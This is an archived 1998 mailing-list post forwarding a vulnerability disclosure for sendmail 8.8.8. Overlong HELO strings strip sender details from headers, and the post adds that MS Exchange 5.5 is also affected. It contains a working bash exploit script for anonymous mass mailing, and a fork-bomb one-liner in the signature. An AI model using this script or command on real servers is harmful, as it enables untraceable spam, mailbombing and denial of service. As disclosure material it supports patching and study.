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MS Exchange vulnerable. (was: about sendmail 8.8.8 HELO hole)

From: yury () BISTBN COM (Yuri Krichevsky)
Date: Wed, 27 May 1998 21:06:17 +0300

        Seems like MS Exchange Internet Mail Service 5.5 is vulnerable too.


--

   "BSD code sucks. Of course, everything else sucks far more."
   - Theo de Raadt (OpenBSD President)




-----Original Message-----
From: Micha? Zalewski <lcamtuf () boss staszic waw pl>
To: info () rootshell com <info () rootshell com>
Date: 10 stycznia 1998 12:28
Subject: Sendmail 8.8.8 (qmail?) HELO hole.


Here's a brief description of Sendmail (qmail) hole I found
recently:

When someone mailbombs you, or tries to send fakemail, spam, etc -
sendmail normally attachs sender's host name and it's address
to outgoing message:

--

From spam () flooders net Mon Jan  5 22:08:21 1998

Received: from spammer (marc () math university edu [150.129.84.5])
          by myhost.com (8.8.8/8.8.8) with SMTP id WAA00376
          for lcamtuf; Mon, 5 Jan 1998 22:07:54 +0100
Date: Mon, 5 Jan 1998 22:07:54 +0100
From: spam () flooders net
Message-Id: <3.14159665@pi>

MAILBOOM!!!
--

That's perfect - now you know, who is responsible for that annoying
junk in your mailbox: "Received: from spammer (marc () math university edu
[150.129.84.5])". Nothing easier...
But I found a small hole, which allows user to hide it's personality,
and send mails anonymously. The only thing you should do is to
pass HELO string longer than approx. 1024 B - sender's location and
other very useful information will be cropped!!! Message
headers should become not interesting. Sometimes, sender
may become quite untraceable (but not always, if it's possible
to obtain logs from machine which has been used to sent):

--

From spam () flooders net Mon Jan  5 22:09:05 1998

Received: from xxxxxxxxxxxxxx... [a lot of 'x's] ...xxxx
Date: Mon, 5 Jan 1998 22:08:52 +0100
From: spam () flooders net
Message-Id: <3.14159665@pi>

MAILBOOM!!! Now guess who am I...
--


Here's a simple example of Sendmail's HELO hole usage. Note, this
script has been written ONLY to show how easy may be sending
fakemails, mailbombs, with cooperation of Sendmail ;) Script is
very slow and restricted in many ways, but explains the problem
well (note, some of non-Berkeley daemons are also affected,
probably Qmail?):

-- EXPLOIT CODE --
#!/bin/bash
TMPDIR=/tmp/`whoami`
PLIK=$TMPDIR/.safe
TIMEOUT=2
LIMIT=10
MAX=20

echo
echo "SafeBomb 1.02b -- sendmail HELO hole usage example"
echo "Author: Michal Zalewski <lcamtuf () boss staszic waw pl>"
echo

if [ "$4" = "" ]; then
  echo "USAGE: $0 msgfile address server sender"
  echo
  echo "  msgfile - file to send as a message body"
  echo "  address - address of lucky recipient"
  echo "  server  - outgoing smtp server w/sendmail"
  echo "  sender  - introduce yourself"
  echo
  echo "WARNING: For educational use ONLY. Mailbombing is illegal."
  echo "Think twice BEFORE you use this program in any way. Also,"
  echo "I've never said this program is 100% safe nor bug-free."
  echo
  sleep 1
  exit 0
fi

if [ ! -f $1 ]; then
  echo "Message file not found."
  echo
  exit 0
fi

echo -n "Preparing message..."
mkdir $TMPDIR &>/dev/null
chmod 700 $TMPDIR
echo "echo \"helo
_safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safeb
omb__safebomb__safebomb__safebomb__safebomb__sa
febomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb
__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__saf
ebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb_
_safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safe
bomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__
safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safeb
omb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__s
afebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebo
mb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__sa
febomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebom
b__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__saf
ebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb
b__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__saf
ebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb
__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safe
bomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb_
_safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safeb
omb_\"" >$PLIK
echo "echo \"mail from: \\\"$4\\\"\"" >>$PLIK
echo "echo \"rcpt to: $2\"" >>$PLIK
echo "echo \"data\"" >>$PLIK
echo "cat <<__qniec__" >>$PLIK
cat $1 >>$PLIK
echo "__qniec__" >>$PLIK
echo "echo \".\"" >>$PLIK
echo "echo \"quit\"" >>$PLIK
echo "sleep $TIMEOUT" >>$PLIK
chmod +x $PLIK
echo "OK"

echo "Sending $1 (as $4) to $2 via $3 -- Ctrl+Z to abort."
SENT=0

while [ -f $1 ]; do
  $PLIK|telnet $3 25 &>/dev/null &
  let SENT=SENT+1
  echo -ne "Sent: $SENT\b\b\b\b\b\b\b\b\b\b\b\b\b"
  CONNECTED=`ps|grep -c "telnet $3"`
  if [ "$LIMIT" -le "$CONNECTED" ]; then
    while [ "$LIMIT" -le "$CONNECTED" ]; do
      sleep 1
    done
  fi
  if [ "$SENT" -ge "$MAX" ]; then
    echo "It's just an example, sorry."
    echo
    exit 0
  fi
done
-- EOF --

Suggested fix: insert additional length limit into HELO/EHLO
parameter scanning routine OR disable AllowBogusHELO (but it
may cause serious troubles). I have no 8.8.8 sources at the
time, so execuse me if it's unclear.

PS:

--
From: Gregory Neil Shapiro <sendmail+gshapiro () sendmail org>

I was able to reproduce the header problem by lengthening the HELO string
in your script.

[...]

This will be fixed in sendmail 8.9.
--

_______________________________________________________________________
Micha? Zalewski [tel 9690] | finger 4 PGP [lcamtuf () boss staszic waw pl]
IterowaÖ jest rzecz+ ludzk+, wykonywaÖ rekursywnie - bosk+ [P. Deustch]
=--------- [ echo "while [ -f \$0 ]; do \$0 &;done" >_;. _ ] ---------=
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